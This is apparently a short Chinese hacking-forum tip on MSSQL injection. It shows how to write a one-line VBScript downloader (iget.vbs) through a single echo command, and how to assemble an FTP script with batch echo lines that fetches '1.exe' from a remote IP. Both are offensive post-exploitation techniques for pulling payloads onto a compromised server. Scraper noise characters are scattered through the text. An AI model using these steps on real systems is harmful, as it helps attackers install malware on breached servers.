mssql注射时不可以多次echo的解决办法

韩冰

<>解决办法:
8 x$ i1 D' Y7 M6 ?1.iget.vbs一次写入
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写

Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
0 m- b% C8 Y$ {4 e& \* A8 S6 q7 s# r
这样我们可以一次echo成功,echo版本:
) Q! l6 E; L+ g* @$ ]9 T  [
* o3 R" Y9 u6 a4 ]; Yecho Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 &gt;iget.vbs


2.bat调用ftp脚本的写法(by envymask)

- B& \  [- \1 |8 `7 u% C/ L: Kecho ftp&gt;1.vbs
" I0 W* P$ S5 j/ Becho open ip&gt;2.vbs
$ ]0 k" P8 N  Yecho u&gt;3.vbs
echo s&gt;4.vbs
echo binary&gt;5.vbs
echo get 1.exe&gt;6.vbs
$ h5 ^6 ^" a1 e+ ?echo bay&gt;7.vbs
. E# j/ p& j1 b/ T
+ i$ a5 w% m* u% t1 F1 i3 Scopy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
</P>